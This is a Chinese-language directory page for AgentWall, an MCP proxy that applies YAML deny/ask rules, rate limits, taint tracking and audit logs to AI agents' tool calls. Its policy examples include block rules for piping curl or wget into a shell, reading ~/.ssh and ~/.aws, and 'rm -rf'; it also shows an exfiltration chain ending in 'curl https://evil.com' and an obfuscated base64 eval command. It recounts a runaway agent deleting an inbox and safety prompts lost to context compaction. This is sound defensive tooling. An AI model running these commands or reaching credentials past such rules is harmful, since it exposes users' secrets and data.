Token导航 LogoToken导航TokenDH.com
Agent Wall logo
安全风控stdio官方级别未说明来源级核验

Agent Wall

MCP Server

@agentwall/agentwall

AgentWall是一款AI代理安全防护工具,通过YAML策略引擎、污点跟踪和独立审计日志保护用户免受恶意工具调用的侵害,适用于开发环境中的AI代理操作安全防护。

工具数

0

提示词数

0

GitHub Stars

26

资源数

0
安全TypeScriptClaudeClaude DesktopClaudeCursorWindsurf

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

作者 / 组织

agentwall

提供方

agentwall

最后核验

2026/5/17 20:22

运行时

Node.js

快速接入

先看主来源和安装命令,再打开仓库或文档;下面只保留这个条目的关键接入事实。

命令预览

npx @agentwall/agentwall setup

详细介绍

AgentWall

您的AI代理具有root访问权限。这会阻止它。

](https://www.npmjs.com/package/@agentwall/agentwall) ![License](LICENSE) ](https://nodejs.org) ](https://github.com/agentwall/agentwall) ](https://github.com/agentwall/agentwall/commits)

npx @agentwall/agentwall setup

AgentWall demo. Claude said "always allow." AgentWall blocked it anyway.

______________________________________________________________________

克劳德说 始终允许OpenClaw说 始终允许.AgentWall还是阻止了它。

18:14:47   mcp        DENY    policy   list_directory         ← BLOCKED despite Claude "Always allow"
18:14:51   openclaw   DENY    policy   exec                   ← BLOCKED despite OpenClaw approval
18:15:03   openclaw   DENY    policy   exec   gog gmail trash ← BLOCKED (inbox deletion prevented)

你的YAML策略是最终决定。不是客户。不是模型。你。

为什么在内置安全失效时,这会起作用: AgentWall在模型的上下文窗口之外运行。上下文压缩、提示注入或受损工具无法触及您的策略文件。

______________________________________________________________________

⚠️ 2026年2月,一个失控的OpenClaw代理发送了142 gog gmail trash 呼叫并删除了用户的整个收件箱。Claude Desktop和OpenClaw内置的安全提示在模型的上下文窗口内运行。上下文压缩可以完全清除它们。 Agent Wall会在呼叫#1时阻止它。
📖 写: 您的AI代理可以读取您计算机上的每个凭据

______________________________________________________________________

目录

______________________________________________________________________

特性

  • 无处不在。 Claude Desktop、Cursor、Windsurf、Claude Code、OpenClaw、任何MCP客户端
  • Taint追踪。 检测凭据读取并阻止后续的出站网络调用,在完成多步渗透之前停止它
  • YAML策略引擎。 拒绝、允许、使用全局匹配、SQL内容匹配、路径规则进行询问
  • 一个命令安装。 npx @agentwall/agentwall setup 自动检测并包装所有MCP服务器
  • 浏览器审批界面。 批准或拒绝浏览器中的工具调用;在没有终端的GUI客户端中工作
  • 独立审计日志。 每次工具调用的真实记录,无论模型声称它做了什么
  • 热重新加载。 编辑 ~/.agentwall/policy.yaml 更改立即生效,无需重新启动
  • 速率限制。 在失控的代理循环造成损害之前,限制每分钟的工具调用次数
  • 防止收件箱删除。 积木 gog gmail trash/delete 命令和速率限制批量Gmail操作;本可以阻止 2026年2月OpenClaw事件 随叫随到#1
  • 完全可逆。 agentwall undo 在一个命令中恢复所有原始配置
  • 策略库。 gog、GitHub、1Password、消息传递等社区政策,请访问 代理墙注册表

______________________________________________________________________

安装

npx @agentwall/agentwall setup

AgentWall检测克劳德桌面、光标、Windsurf、克劳德代码和OpenClaw。 自动包装每个MCP服务器。备份您的原件。零JSON编辑。

# Or install globally
npm install -g @agentwall/agentwall
agentwall setup

需要Node.js>=22。

要验证保护是否处于活动状态:

agentwall status
# AgentWall v0.9.0
# Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw
# Policy: ~/.agentwall/policy.yaml
# Decisions today: 47 allowed · 0 blocked · 2 approved

______________________________________________________________________

快速开始

# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup

# 2. Create a default policy (protects credentials, database, shell)
agentwall init

# 3. Start the web UI first (it owns port 7823)
agentwall ui
# → http://localhost:7823

# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser

# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI
⚠️ 开机顺序很重要。 开始 agentwall ui 在OpenClaw网关之前和打开AI客户端之前。网关和MCP代理在启动时检测UI,并将批准请求路由到它。如果UI尚未运行,它们会退回到终端提示。

______________________________________________________________________

支持的客户

客户审批方式集成
克劳德桌面本地主机浏览器UI:7823MCP代理
光标本地主机浏览器UI:7823MCP代理
Windsurf本地主机浏览器UI:7823MCP代理
克劳德代码终端 y/n/a 提示MCP代理
OpenClaw终端 y/n/a prompt本机插件
任何MCP客户端浏览器UI或终端MCP代理

GUI客户端 (光标、克劳德桌面、Windsurf)没有终端。审批请求显示在您的浏览器中 http://localhost:7823。如果没有响应,30秒后自动拒绝。

终端客户端 (Claude Code,OpenClaw)获取内联 y/n/a 提示。按 a 始终允许在会话的其余时间进行操作。

______________________________________________________________________

Web用户界面

agentwall ui    # → http://localhost:7823

批准 /:实时批准或拒绝浏览器中的工具调用。30秒后自动拒绝。

策略编辑器 /policy:直观地或在原始YAML中编辑规则。两种模式都编辑同一个文件。更改立即生效。

日志查看器 /log:您的代理所做一切的可搜索视图。按运行时、决策、工具名称、日期过滤。

客户 /clients:查看计算机上每个受支持的客户端,哪些MCP服务器受到保护,并一键包装新服务器。

web UI仅限于本地主机。没有身份验证。无外部连接。

______________________________________________________________________

开爪

AgentWall包含一个本地OpenClaw插件,可以连接到 before_tool_call,拦截 exec, read, write, edit, apply_patch,以及 process 在他们执行之前。

# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link

该插件独立于MCP代理运行。两者都可以同时运行,将每个决策记录到同一个审计文件中,而不管哪个运行时触发了它。

如果你使用 gog 对于Gmail访问,请在您的策略中添加电子邮件保护规则。看 防止收件箱删除(gog) 在......下面

______________________________________________________________________

政策

AgentWall按以下顺序评估规则: deny → 允许→ ask. 不匹配的呼叫默认为 。从不允许无声地拨打未知电话。

agentwall init    # creates ~/.agentwall/policy.yaml with sensible defaults

规则字段

字段描述示例
commandShell命令glob"rm -rf *"
path文件路径glob~/.ssh/**
toolMCP工具名称glob"write_file"
match参数内容glob(不区分大小写)sql: "drop *"
urlURL模式"*.competitor.com/*"

球状图案: * 匹配除以下字符之外的任何字符 /. ** 匹配所有内容,包括 /规则中的所有字段都使用AND逻辑。

特殊路径值: outside:workspace 匹配当前工作目录之外的任何路径。

保护您的数据库

deny:
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

DROP和TRUNCATE默默地封锁了。DELETE和ALTER提示审批。其他一切正常运行。SQL匹配不区分大小写。

防止收件箱删除(gog)

OpenClaw使用 gog CLI访问Gmail。自从 gog 作为shell进程运行,AgentWall的原生插件通过以下方式拦截它 exec 在它触及你的收件箱之前。

2026年2月,一名失控的OpenClaw代理发送了142 gog gmail trash 在用户进行干预之前,呼叫并删除了用户的整个收件箱。这是在呼叫#1时停止它的策略。代理自己的护栏没有。它们在代理已经覆盖的上下文窗口内运行。

deny:
  # Email — never trash or delete without explicit approval
  - tool: exec
    match:
      command: "gog gmail trash*"
  - tool: exec
    match:
      command: "gog gmail delete*"
  - tool: exec
    match:
      command: "gog gmail batchDelete*"

ask:
  # Email — confirm any inbox modification
  - tool: exec
    match:
      command: "gog gmail modify*"
  - tool: exec
    match:
      command: "gog gmail archive*"

limits:
  - tool: exec
    match:
      command: "gog gmail*"
    max: 10
    window: 60    # max 10 Gmail operations per minute (a loop of 142 never completes)

删除规则被默认拒绝。归档并修改审批提示。即使错过了规则,速率限制也会捕获失控的批量操作。

为什么这在OpenClaw自己的护栏失败时奏效:该政策存在于 ~/.agentwall/policy.yaml,在模型的上下文窗口之外。擦除模型安全说明的上下文压缩不会影响此文件。

请参阅 事故记录 完整的时间表。要深入了解凭证泄漏的工作原理以及AgentWall如何阻止它,请阅读: 您的AI代理可以读取您计算机上的每个凭据

完全默认策略

deny:
  # Credentials — never access
  - path: ~/.ssh/**
  - path: ~/.aws/**
  - path: ~/.gnupg/**

  # Shell config — prevent persistence/backdoor
  - path: ~/.bashrc
  - path: ~/.zshrc

  # Shell — never pipe from internet
  - command: "curl * | *"
  - command: "wget * | *"

  # Database — never drop or truncate
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  # Shell — confirm destructive commands
  - command: "rm -rf *"
  - command: "sudo *"
  - command: "dd *"

  # Git — confirm pushes to main
  - tool: exec
    match:
      command: "git push*main*"

  # Database — confirm writes
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

  # Files outside workspace
  - tool: "*"
    path: outside:workspace

allow:
  # Everything inside workspace is trusted
  - path: workspace/**

limits:
  - tool: exec
    max: 30
    window: 60    # max 30 shell commands per minute

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org

______________________________________________________________________

速率限制

限制代理在每个会话窗口中可以调用工具的次数。在失控回路造成损坏之前将其捕获。

limits:
  - tool: exec
    max: 10
    window: 60      # max 10 shell commands per minute
  - tool: "*"
    max: 200
    window: 300     # max 200 total tool calls per 5 minutes

当接近限制(90%)时,AgentWall会触发macOS通知。当它点击时,代理会收到一条它可以读取的消息:

AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.

______________________________________________________________________

Taint跟踪

AgentWall跟踪会话内跨工具调用的多步渗透攻击。当工具调用读取敏感文件(凭据、SSH密钥、环境变量)时,会话标记为 受污染的。无论单个策略规则如何,对不在分配列表上的主机的任何后续出站网络呼叫都会被自动阻止。

此检测到的杀伤链:

Tool call reads ~/.aws/credentials   →   session marked TAINTED
Tool call runs curl https://evil.com →   BLOCKED (taint violation)

Taint由以下因素触发:

  • 读取敏感文件: ~/.ssh/, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, .env,SSH密钥
  • 敏感数据库查询: information_schema, pg_catalog, mysql.user
  • 访问的命令 process.env, os.environ,或敏感的环境变量

配置即使受到污染也允许哪些主机:

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org

Taint状态可见 agentwall statusweb UI(警告横幅),以及 agentwall replay (以洋红色突出显示)。当新会话开始时,Taint会自动重置。

______________________________________________________________________

热重载

编辑 ~/.agentwall/policy.yaml 并且更改会立即应用于所有正在运行的代理和插件。无需重新启动Claude Desktop、Cursor或网关。

[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml

______________________________________________________________________

审核日志

每个决策都独立于模型所声称的内容进行记录。

日志文件编写人目录
~/.agentwall/session-YYYY-MM-DD.jsonlMCP代理通过代理拦截的工具调用
~/.agentwall/decisions.jsonlOpenClaw插件通过原生插件拦截的工具调用

web UI日志查看器会自动合并这两个文件。

agentwall replay          # color-coded table of today's decisions
agentwall replay 20       # last 20 entries
agentwall clear-logs      # remove all log files and start fresh
如果模型报告它只读取了一个文件,但AgentWall记录了47次读取,则日志是正确的。

______________________________________________________________________

命令

agentwall setup [--dry-run]          Auto-detect and wrap all MCP configs
agentwall undo                       Restore all original MCP configs from backup
agentwall proxy --  [args]      Wrap a single MCP server
agentwall ui [--port 7823]           Start the web UI
agentwall init                       Create default policy at ~/.agentwall/policy.yaml
agentwall status                     Show protection status and today's decision counts
agentwall replay [N]                 Show recent audit log entries (color-coded)
agentwall clear-logs                 Remove all log files
agentwall --version                  Print version

______________________________________________________________________

运作原理

AgentWall位于您的AI客户端和它生成的每个MCP服务器之间。

AI Client  ←→  AgentWall Proxy  ←→  Real MCP Server
                     |
               policy.yaml          ← your rules
               taint tracker        ← cross-call exfiltration detection
               audit log            ← independent record
               approval UI          ← localhost:7823

客户永远不知道AgentWall在那里。真正的服务器永远不会知道它正在被代理。 agentwall setup 自动更改配置:

Before:
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

After:
{
  "mcpServers": {
    "filesystem": {
      "command": "agentwall",
      "args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

______________________________________________________________________

AgentWall保护什么

  • 意外破坏: rm -rf, DROP TABLE, TRUNCATE
  • 凭证访问: ~/.ssh, ~/.aws, ~/.gnupg
  • Shell配置修改: ~/.bashrc, ~/.zshrc (持久性/后门)
  • 工作区外的操作
  • 破坏性git操作:强制推送、向主推送
  • 失控代理:每个工具每个会话的速率限制
  • 常见的混淆模式: eval, base64 -d
  • 未经批准的数据库写入: DELETE, ALTER, UPDATE
  • 多步渗透:污染跟踪阻止凭据读取→ 网络发送链
  • 通过gog删除收件箱:拒绝垃圾/删除命令,限制批量Gmail操作的速率

______________________________________________________________________

Agent Wall不能保护什么

混乱的命令。 eval $(echo cm0= | base64 -d).模式匹配参见 eval,而不是解码的有效载荷。

通过请求体进行数据泄露。 Agent Wall看到 curl 命令,而不是网络有效载荷。

迅速注射。 在代理读取之前,需要扫描每个文件。

超越污染跟踪的多步攻击。 Taint跟踪捕捉到最常见的模式(读取凭据→ 网络渗透),但不是所有间接链,例如将凭据写入一个世界可读的文件,然后另一个进程读取并发送。

AgentWall是一个策略引擎,而不是安全沙箱。正确的补充是操作系统级隔离:在一开始就没有凭据访问权限的容器中运行代理。两者相辅相成。

______________________________________________________________________

OWASP代理AI十大报道

AgentWall解决了以下风险 2026年代理应用的OWASP前10名:

威胁AgentWall如何提供帮助
ASI02–工具滥用和利用YAML策略引擎在执行前阻止破坏性的工具调用
ASI03–身份和特权滥用凭证路径保护、工作区边界强制和污染跟踪
ASI04–数据过滤Taint跟踪检测凭证访问并阻止后续的出站网络呼叫
ASI08–级联故障速率限制在失控的代理循环造成损害之前将其捕获

AgentWall是一个策略引擎,而不是安全沙箱。看 Agent Wall不能保护什么 诚实地评估其局限性。

______________________________________________________________________

策略库

通用工具的即用型策略:gog、GitHub CLI、1Password、消息传递、Homebrew等。

agentwall policy add gog
agentwall policy add github
agentwall policy add bundle/developer

浏览所有政策→

______________________________________________________________________

贡献

欢迎捐款。看 贡献.md 作为指导方针。

要将新的MCP服务器添加到策略注册表中,请打开一个PR 代理墙注册表.

______________________________________________________________________

版本历史

版本主题发货内容
v0.1概念验证执行拦截、YAML策略引擎、JSONL审计日志
v0.2完全覆盖OpenClaw原生插件,所有工具调用都被拦截
v0.3运行时无关MCP代理:Claude Desktop、Cursor、Windsurf
v0.4零摩擦agentwall setup,数据库规则,npm发布
v0.5可用性热重载,速率限制
v0.6Web UI审批页面、策略编辑器、日志查看器
v0.7客户端可见性客户端选项卡,自动检测,一键保护
v0.8通知macOS通知、选项卡标题、声音
v0.9污点跟踪UI/CLI/audit中的交叉调用泄漏检测、allowe_hosts、污点状态

______________________________________________________________________

许可证

根据 Apache许可证,版本2.0.

目录标签

目录标签

安全TypeScriptClaudeAI安全本地部署策略引擎污点跟踪审计日志开发安全

支持客户端

Claude DesktopClaudeCursorWindsurf

接入字段

传输方式(transport,传输协议)

stdio

鉴权方式(authType,认证方式)

session

运行时(runtime,运行环境)

Node.js

部署方式(deploymentType,部署类型)

local-only

来源包(packageName,安装包名)

@agentwall/agentwall

工具数量(toolCount,工具数)

0

资源数量(resourceCount,资源数)

0

提示词数量(promptCount,提示词数)

0

权限和风险

stdiosessionlocal-only

接入前请确认传输方式、认证方式和部署位置,并根据实际工具能力限制访问范围。

安装前确认

不要直接授予不必要的文件、网络或账号权限;先核对安装命令和配置内容。

来源信息

继续浏览同类 MCP